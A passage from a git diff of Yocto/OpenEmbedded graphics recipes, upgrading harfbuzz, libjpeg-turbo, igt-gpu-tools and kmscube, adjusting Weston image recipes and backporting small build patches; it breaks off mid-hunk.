-Subject: [PATCH] src/hb-gobject-enums.cc.tmpl: write out only the filename,
- not the full path
-
-This is beneficial for reproducible builds, as build paths can vary
-between builds.
-
-Upstream-Status: Backport [https://github.com/harfbuzz/harfbuzz/commit/e876886d1e877ad90b6f02badefd6ebee1bc0b09]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/hb-gobject-enums.cc.tmpl | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/hb-gobject-enums.cc.tmpl b/src/hb-gobject-enums.cc.tmpl
-index 2ffd1c9..87a11dd 100644
---- a/src/hb-gobject-enums.cc.tmpl
-+++ b/src/hb-gobject-enums.cc.tmpl
-@@ -43,7 +43,7 @@
- /*** END file-header ***/
-
- /*** BEGIN file-production ***/
--/* enumerations from "@filename@" */
-+/* enumerations from "@basename@" */
- /*** END file-production ***/
-
- /*** BEGIN file-tail ***/
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz/version-race.patch b/meta/recipes-graphics/harfbuzz/harfbuzz/version-race.patch
deleted file mode 100644
index a8b8f0353c..0000000000
--- a/meta/recipes-graphics/harfbuzz/harfbuzz/version-race.patch
+++ /dev/null
@@ -1,97 +0,0 @@
-From 6ccadec1fae6a73749b7dfe2311f71d0e610e812 Mon Sep 17 00:00:00 2001
-From: Zang Ruochen <zangrc.fnst@cn.fujitsu.com>
-Date: Wed, 30 Sep 2020 10:30:08 +0900
-Subject: [PATCH] No need to pass source directory to gen-hb-version
-
-The input file is by definition in the source directory, so dirname()
-that instead of needing the directory to be passed.
-
-Needed because a follow-up commit will change when this is called, and the
-source directory isn't trivially available at that point.
-
-generate hb-version.h once at configure time with Meson
-
-Currently with Meson hb-version.h is generated during the build without
-any explicit dependencies which can result in build failures due races
-over the file.
-
-Change this to be generated at configure time, so that the file is always
-generated once before the build itself.
-
-Closes #2667
-
-Upstream-Status: Backport [https://github.com/harfbuzz/harfbuzz/commit/5aff83104e03d6d2617987d24a51e490ab7a5cd1]
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-Signed-off-by: Zang Ruochen <zangrc.fnst@cn.fujitsu.com>
----
- src/gen-hb-version.py | 6 +++---
- src/meson.build | 17 ++++++++---------
- 2 files changed, 11 insertions(+), 12 deletions(-)
-
-diff --git a/src/gen-hb-version.py b/src/gen-hb-version.py
-index 15e56b9..bf16f88 100755
---- a/src/gen-hb-version.py
-+++ b/src/gen-hb-version.py
-@@ -4,15 +4,15 @@
-
- import os, sys, shutil
-
--if len (sys.argv) < 5:
-+if len (sys.argv) < 4:
- sys.exit(__doc__)
-
- version = sys.argv[1]
- major, minor, micro = version.split (".")
-
- OUTPUT = sys.argv[2]
--CURRENT_SOURCE_DIR = sys.argv[3]
--INPUT = sys.argv[4]
-+INPUT = sys.argv[3]
-+CURRENT_SOURCE_DIR = os.path.dirname(INPUT)
-
- with open (INPUT, "r", encoding='utf-8') as template:
- with open (OUTPUT, "wb") as output:
-diff --git a/src/meson.build b/src/meson.build
-index 5e1787c..56d8ae2 100644
---- a/src/meson.build
-+++ b/src/meson.build
-@@ -1,3 +1,10 @@
-+hb_version_h = configure_file(
-+ command: [find_program('gen-hb-version.py'), meson.project_version(), '@OUTPUT@', '@INPUT@'],
-+ input: 'hb-version.h.in',
-+ output: 'hb-version.h',
-+ install: true,
-+ install_dir: join_paths(get_option('includedir'), meson.project_name()))
-+
- # Base and default-included sources and headers
- hb_base_sources = files(
- 'hb-aat-layout-ankr-table.hh',
-@@ -214,9 +221,9 @@ hb_base_headers = files(
- 'hb-shape.h',
- 'hb-style.h',
- 'hb-unicode.h',
-- 'hb-version.h',
- 'hb.h',
- )
-+hb_base_headers += hb_version_h
-
- # Optional Sources and Headers with external deps
-
-@@ -281,14 +288,6 @@ hb_gobject_headers = files(
- 'hb-gobject-structs.h',
- )
-
--custom_target('hb-version.h',
-- build_by_default: true,
-- input: 'hb-version.h.in',
-- output: 'hb-version.h',
-- command: [find_program('gen-hb-version.py'), meson.project_version(),
-- '@OUTPUT@', '@CURRENT_SOURCE_DIR@', '@INPUT@'],
--)
--
- ragel = find_program('ragel', required: false)
- if not ragel.found()
- warning('You have to install ragel if you are going to develop HarfBuzz itself')
---
-2.25.1
-
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz_2.7.2.bb b/meta/recipes-graphics/harfbuzz/harfbuzz_2.7.2.bb
deleted file mode 100644
index f95273f686..0000000000
--- a/meta/recipes-graphics/harfbuzz/harfbuzz_2.7.2.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Text shaping library"
-DESCRIPTION = "HarfBuzz is an OpenType text shaping engine."
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/HarfBuzz"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=HarfBuzz"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8f787620b7d3866d9552fd1924c07572 \
- file://src/hb-ucd.cc;beginline=1;endline=15;md5=29d4dcb6410429195df67efe3382d8bc"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "harfbuzz-(?P<pver>\d+(\.\d+)+).tar"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BPN}-${PV}.tar.xz \
- file://0001-Do-not-disable-introspection-in-cross-builds.patch \
- file://0001-src-hb-gobject-enums.cc.tmpl-write-out-only-the-file.patch \
- file://version-race.patch \
- "
-SRC_URI[sha256sum] = "b8c048d7c2964a12f2c80deb6634dfc836b603dd12bf0d0a3df1627698e220ce"
-
-inherit meson pkgconfig lib_package gtk-doc gobject-introspection
-
-GIR_MESON_ENABLE_FLAG = 'enabled'
-GIR_MESON_DISABLE_FLAG = 'disabled'
-GTKDOC_MESON_ENABLE_FLAG = 'enabled'
-GTKDOC_MESON_DISABLE_FLAG = 'disabled'
-
-PACKAGECONFIG ??= "cairo fontconfig freetype glib icu"
-PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
-PACKAGECONFIG[fontconfig] = "-Dfontconfig=enabled,-Dfontconfig=disabled,fontconfig"
-PACKAGECONFIG[freetype] = "-Dfreetype=enabled,-Dfreetype=disabled,freetype"
-PACKAGECONFIG[glib] = "-Dglib=enabled,-Dglib=disabled,glib-2.0"
-PACKAGECONFIG[graphite] = "-Dgraphite=enabled,-Dgraphite=disabled,graphite2"
-PACKAGECONFIG[icu] = "-Dicu=enabled,-Dicu=disabled,icu"
-
-PACKAGES =+ "${PN}-icu ${PN}-icu-dev ${PN}-subset"
-
-LEAD_SONAME = "libharfbuzz.so"
-
-do_install_append() {
- # If no tools are installed due to PACKAGECONFIG then this directory is
- #still installed, so remove it to stop packaging wanings.
- rmdir --ignore-fail-on-non-empty ${D}${bindir}
-}
-
-FILES_${PN}-icu = "${libdir}/libharfbuzz-icu.so.*"
-FILES_${PN}-icu-dev = "${libdir}/libharfbuzz-icu.la \
- ${libdir}/libharfbuzz-icu.so \
- ${libdir}/pkgconfig/harfbuzz-icu.pc \
-"
-FILES_${PN}-subset = "${libdir}/libharfbuzz-subset.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz_3.2.0.bb b/meta/recipes-graphics/harfbuzz/harfbuzz_3.2.0.bb
new file mode 100644
index 0000000000..647bafc4d3
--- /dev/null
+++ b/meta/recipes-graphics/harfbuzz/harfbuzz_3.2.0.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Text shaping library"
+DESCRIPTION = "HarfBuzz is an OpenType text shaping engine."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/HarfBuzz"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=HarfBuzz"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6ee0f16281694fb6aa689cca1e0fb3da \
+ file://src/hb-ucd.cc;beginline=1;endline=15;md5=29d4dcb6410429195df67efe3382d8bc \
+ "
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+UPSTREAM_CHECK_REGEX = "harfbuzz-(?P<pver>\d+(\.\d+)+).tar"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "0ada50a1c199bb6f70843ab893c55867743a443b84d087d54df08ad883ebc2cd"
+
+inherit meson pkgconfig lib_package gtk-doc gobject-introspection
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GTKDOC_MESON_ENABLE_FLAG = 'enabled'
+GTKDOC_MESON_DISABLE_FLAG = 'disabled'
+
+PACKAGECONFIG ??= "cairo freetype glib icu"
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+PACKAGECONFIG[freetype] = "-Dfreetype=enabled,-Dfreetype=disabled,freetype"
+PACKAGECONFIG[glib] = "-Dglib=enabled,-Dglib=disabled,glib-2.0"
+PACKAGECONFIG[graphite] = "-Dgraphite=enabled,-Dgraphite=disabled,graphite2"
+PACKAGECONFIG[icu] = "-Dicu=enabled,-Dicu=disabled,icu"
+
+PACKAGES =+ "${PN}-icu ${PN}-icu-dev ${PN}-subset"
+
+LEAD_SONAME = "libharfbuzz.so"
+
+do_install:append() {
+ # If no tools are installed due to PACKAGECONFIG then this directory is
+ #still installed, so remove it to stop packaging wanings.
+ rmdir --ignore-fail-on-non-empty ${D}${bindir}
+}
+
+FILES:${PN}-icu = "${libdir}/libharfbuzz-icu.so.*"
+FILES:${PN}-icu-dev = "${libdir}/libharfbuzz-icu.la \
+ ${libdir}/libharfbuzz-icu.so \
+ ${libdir}/pkgconfig/harfbuzz-icu.pc \
+"
+FILES:${PN}-subset = "${libdir}/libharfbuzz-subset.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch
new file mode 100644
index 0000000000..e7c782055b
--- /dev/null
+++ b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch
@@ -0,0 +1,24 @@
+From b9a19aa4bdb21751c04c0e3ba8a9e2e35a10c953 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 18:18:15 +0200
+Subject: [PATCH] lib/meson.build: fix meson 0.60 compatibility
+
+Upstream-Status: Backport [https://gitlab.freedesktop.org/drm/igt-gpu-tools/-/commit/963917a3565466832a3b2fc22e9285d34a0bf944]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ lib/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/meson.build b/lib/meson.build
+index 9929520e..1a525587 100644
+--- a/lib/meson.build
++++ b/lib/meson.build
+@@ -152,7 +152,7 @@ lib_version = vcs_tag(input : 'version.h.in', output : 'version.h',
+
+ lib_intermediates = []
+ foreach f: lib_sources
+- name = f.underscorify(f)
++ name = f.underscorify()
+ lib = static_library('igt-' + name,
+ [ f, lib_version ],
+ include_directories: inc,
diff --git a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
index 89480d79d2..bb2f9564d2 100644
--- a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
+++ b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
@@ -1,30 +1,34 @@
SUMMARY = "IGT GPU Tools"
DESCRIPTION = "IGT GPU Tools is a collection of tools for development and testing of the DRM drivers"
+HOMEPAGE = "https://gitlab.freedesktop.org/drm/igt-gpu-tools"
+BUGTRACKER = "https://gitlab.freedesktop.org/drm/igt-gpu-tools/-/issues"
LIC_FILES_CHKSUM = "file://COPYING;md5=67bfee4df38fa6ecbe3a675c552d4c08"
LICENSE = "MIT"
-inherit meson
+inherit meson pkgconfig
-SRCREV = "d16ad07e7f2a028e14d61f570931c87fa5ce404c"
-PV = "1.25+git${SRCPV}"
+SRCREV = "203def046b466fb2da67f9f15552d84e1c0b41f2"
+PV = "1.26"
-SRC_URI = "git://gitlab.freedesktop.org/drm/igt-gpu-tools.git;protocol=https"
+SRC_URI = "git://gitlab.freedesktop.org/drm/igt-gpu-tools.git;protocol=https;branch=master \
+ file://0001-lib-meson.build-fix-meson-0.60-compatibility.patch \
+ "
S = "${WORKDIR}/git"
DEPENDS += "libdrm libpciaccess cairo udev glib-2.0 procps libunwind kmod openssl elfutils alsa-lib json-c bison-native"
-RDEPENDS_${PN} += "bash"
-RDEPENDS_${PN}-tests += "bash"
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN}-tests += "bash"
PACKAGE_BEFORE_PN = "${PN}-benchmarks ${PN}-tests"
PACKAGECONFIG[chamelium] = "-Dchamelium=enabled,-Dchamelium=disabled,gsl xmlrpc-c"
-EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled"
+EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled -Dsrcdir=/usr/src/debug/${PN}/${PV}-${PR}/git/"
COMPATIBLE_HOST = "(x86_64.*|i.86.*|arm.*|aarch64).*-linux"
-COMPATIBLE_HOST_libc-musl_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
gputools_sysroot_preprocess() {
@@ -32,7 +36,7 @@ gputools_sysroot_preprocess() {
}
SYSROOT_PREPROCESS_FUNCS += "gputools_sysroot_preprocess"
-do_install_append() {
+do_install:append() {
install -d ${D}/usr/share/${BPN}/scripts
install ${S}/scripts/run-tests.sh ${D}/usr/share/${BPN}/scripts
install -d ${D}/usr/share/${BPN}/runner
@@ -40,8 +44,8 @@ do_install_append() {
install -D ${B}/runner/igt_resume ${D}/usr/share/${BPN}/runner
}
-FILES_${PN}-benchmarks += "${libexecdir}/${BPN}/benchmarks"
-FILES_${PN}-tests += "\
+FILES:${PN}-benchmarks += "${libexecdir}/${BPN}/benchmarks"
+FILES:${PN}-tests += "\
${libexecdir}/${BPN}/*\
${datadir}/${BPN}/1080p-right.png\
${datadir}/${BPN}/1080p-left.png\
diff --git a/meta/recipes-graphics/images/core-image-clutter.bb b/meta/recipes-graphics/images/core-image-clutter.bb
deleted file mode 100644
index a594461022..0000000000
--- a/meta/recipes-graphics/images/core-image-clutter.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-DESCRIPTION = "An image with support for the Open GL-based toolkit Clutter, \
-which enables development of rich and animated graphical user interfaces."
-
-IMAGE_FEATURES += "splash package-management x11-base x11-sato ssh-server-dropbear"
-
-LICENSE = "MIT"
-
-IMAGE_INSTALL = "\
- ${CORE_IMAGE_BASE_INSTALL} \
- packagegroup-core-clutter-core \
- "
-
-inherit core-image
-
-QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
diff --git a/meta/recipes-graphics/images/core-image-weston-sdk.bb b/meta/recipes-graphics/images/core-image-weston-sdk.bb
new file mode 100644
index 0000000000..f5f7dade54
--- /dev/null
+++ b/meta/recipes-graphics/images/core-image-weston-sdk.bb
@@ -0,0 +1,11 @@
+require core-image-weston.bb
+
+DESCRIPTION = "Image with Weston support that includes everything within \
+core-image-weston plus meta-toolchain, development headers and libraries to \
+form a standalone SDK."
+
+IMAGE_FEATURES += "dev-pkgs tools-sdk \
+ tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks ssh-server-openssh"
+
+IMAGE_INSTALL += "kernel-devsrc"
+
diff --git a/meta/recipes-graphics/images/core-image-weston.bb b/meta/recipes-graphics/images/core-image-weston.bb
index 8d88e3bc0c..62305cc1ce 100644
--- a/meta/recipes-graphics/images/core-image-weston.bb
+++ b/meta/recipes-graphics/images/core-image-weston.bb
@@ -1,14 +1,12 @@
SUMMARY = "A very basic Wayland image with a terminal"
-IMAGE_FEATURES += "splash package-management ssh-server-dropbear hwcodecs"
+IMAGE_FEATURES += "splash package-management ssh-server-dropbear hwcodecs weston"
LICENSE = "MIT"
-inherit core-image features_check
+inherit core-image
-REQUIRED_DISTRO_FEATURES = "wayland"
-
-CORE_IMAGE_BASE_INSTALL += "weston weston-init weston-examples wayland-utils gtk+3-demo clutter-1.0-examples"
+CORE_IMAGE_BASE_INSTALL += "gtk+3-demo"
CORE_IMAGE_BASE_INSTALL += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'weston-xwayland matchbox-terminal', '', d)}"
QB_MEM = "-m 512"
diff --git a/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch b/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
index 82fffe1e68..fab5109f83 100644
--- a/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
+++ b/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
@@ -7,7 +7,7 @@ Fix package qa errors like below:
libjpeg.so.62.3.0 contains probably-redundant RPATH /usr/lib [useless-rpaths]
usr/bin/cjpeg contains probably-redundant RPATH /usr/lib
-Upstream-Status: Inappropriate[oe-specific]
+Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
@@ -19,7 +19,7 @@ diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2bc3458..ea3041e 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -189,10 +189,6 @@ endif()
+@@ -191,10 +191,6 @@ endif()
report_option(ENABLE_SHARED "Shared libraries")
report_option(ENABLE_STATIC "Static libraries")
@@ -27,6 +27,6 @@ index 2bc3458..ea3041e 100644
- set(CMAKE_INSTALL_RPATH ${CMAKE_INSTALL_FULL_LIBDIR})
-endif()
-
- if(WITH_12BIT)
- set(WITH_ARITH_DEC 0)
- set(WITH_ARITH_ENC 0)
+ if(WITH_JPEG8 OR WITH_JPEG7)
+ set(WITH_ARITH_ENC 1)
+ set(WITH_ARITH_DEC 1)
diff --git a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb
deleted file mode 100644
index 9729fb5dd5..0000000000
--- a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "Hardware accelerated JPEG compression/decompression library"
-DESCRIPTION = "libjpeg-turbo is a derivative of libjpeg that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression"
-HOMEPAGE = "http://libjpeg-turbo.org/"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://cdjpeg.h;endline=13;md5=8184bcc7c4ac7b9edc6a7bc00f231d0b \
- file://jpeglib.h;endline=16;md5=7ea97dc83b0f59052ee837e61ef0e08f \
- file://djpeg.c;endline=11;md5=c59e19811c006cb38f82d6477134d314 \
-"
-DEPENDS_append_x86-64_class-target = " nasm-native"
-DEPENDS_append_x86_class-target = " nasm-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz \
- file://0001-libjpeg-turbo-fix-package_qa-error.patch \
- "
-
-SRC_URI[md5sum] = "3a7dc293918775fc933f81e2bce36464"
-SRC_URI[sha256sum] = "16f8f6f2715b3a38ab562a84357c793dd56ae9899ce130563c72cd93d8357b5d"
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
-UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
-
-PE = "1"
-
-# Drop-in replacement for jpeg
-PROVIDES = "jpeg"
-RPROVIDES_${PN} += "jpeg"
-RREPLACES_${PN} += "jpeg"
-RCONFLICTS_${PN} += "jpeg"
-
-inherit cmake pkgconfig
-
-export NASMENV = "--debug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
-
-# Add nasm-native dependency consistently for all build arches is hard
-EXTRA_OECMAKE_append_class-native = " -DWITH_SIMD=False"
-EXTRA_OECMAKE_append_class-nativesdk = " -DWITH_SIMD=False"
-
-# Work around missing x32 ABI support
-EXTRA_OECMAKE_append_class-target = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-DWITH_SIMD=False", "", d)}"
-
-# Work around missing non-floating point ABI support in MIPS
-EXTRA_OECMAKE_append_class-target = " ${@bb.utils.contains("MIPSPKGSFX_FPU", "-nf", "-DWITH_SIMD=False", "", d)}"
-
-# Provide a workaround if Altivec unit is not present in PPC
-EXTRA_OECMAKE_append_class-target_powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
-EXTRA_OECMAKE_append_class-target_powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-PACKAGES =+ "jpeg-tools libturbojpeg"
-
-DESCRIPTION_jpeg-tools = "The jpeg-tools package includes client programs to access libjpeg functionality. These tools allow for the compression, decompression, transformation and display of JPEG files and benchmarking of the libjpeg library."
-FILES_jpeg-tools = "${bindir}/*"
-
-DESCRIPTION_libturbojpeg = "A SIMD-accelerated JPEG codec which provides only TurboJPEG APIs"
-FILES_libturbojpeg = "${libdir}/libturbojpeg.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.2.bb b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.2.bb
new file mode 100644
index 0000000000..25b83f72f7
--- /dev/null
+++ b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.2.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Hardware accelerated JPEG compression/decompression library"
+DESCRIPTION = "libjpeg-turbo is a derivative of libjpeg that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression"
+HOMEPAGE = "http://libjpeg-turbo.org/"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://cdjpeg.h;endline=13;md5=8a61af33cc1c681cd5cc297150bbb5bd \
+ file://jpeglib.h;endline=16;md5=52b5eaade8d5b6a452a7693dfe52c084 \
+ file://djpeg.c;endline=11;md5=b61f01ad6aff437b34d1f9e8004280a4 \
+ "
+DEPENDS:append:x86-64:class-target = " nasm-native"
+DEPENDS:append:x86:class-target = " nasm-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz \
+ file://0001-libjpeg-turbo-fix-package_qa-error.patch \
+ "
+
+SRC_URI[sha256sum] = "09b96cb8cbff9ea556a9c2d173485fd19488844d55276ed4f42240e1e2073ce5"
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
+UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
+
+PE = "1"
+
+# Drop-in replacement for jpeg
+PROVIDES = "jpeg"
+RPROVIDES:${PN} += "jpeg"
+RREPLACES:${PN} += "jpeg"
+RCONFLICTS:${PN} += "jpeg"
+
+inherit cmake pkgconfig
+
+export NASMENV = "--reproducible --debug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+
+# Add nasm-native dependency consistently for all build arches is hard
+EXTRA_OECMAKE:append:class-native = " -DWITH_SIMD=False"
+EXTRA_OECMAKE:append:class-nativesdk = " -DWITH_SIMD=False"
+
+# Work around missing x32 ABI support
+EXTRA_OECMAKE:append:class-target = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-DWITH_SIMD=False", "", d)}"
+
+# Work around missing non-floating point ABI support in MIPS
+EXTRA_OECMAKE:append:class-target = " ${@bb.utils.contains("MIPSPKGSFX_FPU", "-nf", "-DWITH_SIMD=False", "", d)}"
+
+EXTRA_OECMAKE:append:class-target:arm = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:armeb = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "", "-DWITH_SIMD=False", d)}"
+
+# Provide a workaround if Altivec unit is not present in PPC
+EXTRA_OECMAKE:append:class-target:powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:powerpc64le = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+PACKAGES =+ "jpeg-tools libturbojpeg"
+
+DESCRIPTION:jpeg-tools = "The jpeg-tools package includes client programs to access libjpeg functionality. These tools allow for the compression, decompression, transformation and display of JPEG files and benchmarking of the libjpeg library."
+FILES:jpeg-tools = "${bindir}/*"
+
+DESCRIPTION:libturbojpeg = "A SIMD-accelerated JPEG codec which provides only TurboJPEG APIs"
+FILES:libturbojpeg = "${libdir}/libturbojpeg.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch b/meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch
new file mode 100644
index 0000000000..5965782de7
--- /dev/null
+++ b/meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch
@@ -0,0 +1,33 @@
+From 2b74e0e32235f6ab2e3e42d53dea985a7ba6227f Mon Sep 17 00:00:00 2001
+From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
+Date: Wed, 16 Dec 2020 11:08:25 +0900
+Subject: [PATCH] texturator: Use correct GL extension header
+
+gl2ext.h is the extenstion header for OpenGL ES 2.0 and all later
+versions according to the Khronos documentation [1]. gl3ext.h is either
+an empty stub, or may not even exist on some platforms.
+
+[1]: https://www.khronos.org/registry/OpenGL/index_es.php#headers
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/kmscube/-/merge_requests/26]
+Signed-off-by: Quentin Schulz <quentin.schulz@theobroma-systems.com>
+---
+ texturator.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/texturator.c b/texturator.c
+index d9335d7..6d97856 100644
+--- a/texturator.c
++++ b/texturator.c
+@@ -30,7 +30,7 @@
+ #include <math.h>
+
+ #include <GLES3/gl3.h>
+-#include <GLES3/gl3ext.h>
++#include <GLES2/gl2ext.h>
+
+ #ifdef HAVE_LIBPNG
+ #include <png.h>
+--
+2.33.1
+
diff --git a/meta/recipes-graphics/kmscube/kmscube_git.bb b/meta/recipes-graphics/kmscube/kmscube_git.bb
index 478d5c4de4..54993be89e 100644
--- a/meta/recipes-graphics/kmscube/kmscube_git.bb
+++ b/meta/recipes-graphics/kmscube/kmscube_git.bb
@@ -1,13 +1,18 @@
-DESCRIPTION = "Demo application to showcase 3D graphics using kms and gbm"
+SUMMARY = "Demo application to showcase 3D graphics using kms and gbm"
+DESCRIPTION = "kmscube is a little demonstration program for how to drive bare metal graphics \
+without a compositor like X11, wayland or similar, using DRM/KMS (kernel mode \
+setting), GBM (graphics buffer manager) and EGL for rendering content using \
+OpenGL or OpenGL ES."
HOMEPAGE = "https://cgit.freedesktop.org/mesa/kmscube/"
LICENSE = "MIT"
SECTION = "graphics"
-DEPENDS = "virtual/libgles2 virtual/egl libdrm"
+DEPENDS = "virtual/libgles3 virtual/libgles2 virtual/egl libdrm"
LIC_FILES_CHKSUM = "file://kmscube.c;beginline=1;endline=23;md5=8b309d4ee67b7315ff7381270dd631fb"
-SRCREV = "e6386d1b99366ea7559438c0d3abd2ae2d6d61ac"
+SRCREV = "9f63f359fab1b5d8e862508e4e51c9dfe339ccb0"
SRC_URI = "git://gitlab.freedesktop.org/mesa/kmscube;branch=master;protocol=https"
+SRC_URI += "file://0001-texturator-Use-correct-GL-extension-header.patch"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch b/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
index 7262945181..971a3f54e0 100644
--- a/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
+++ b/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
@@ -1,4 +1,4 @@
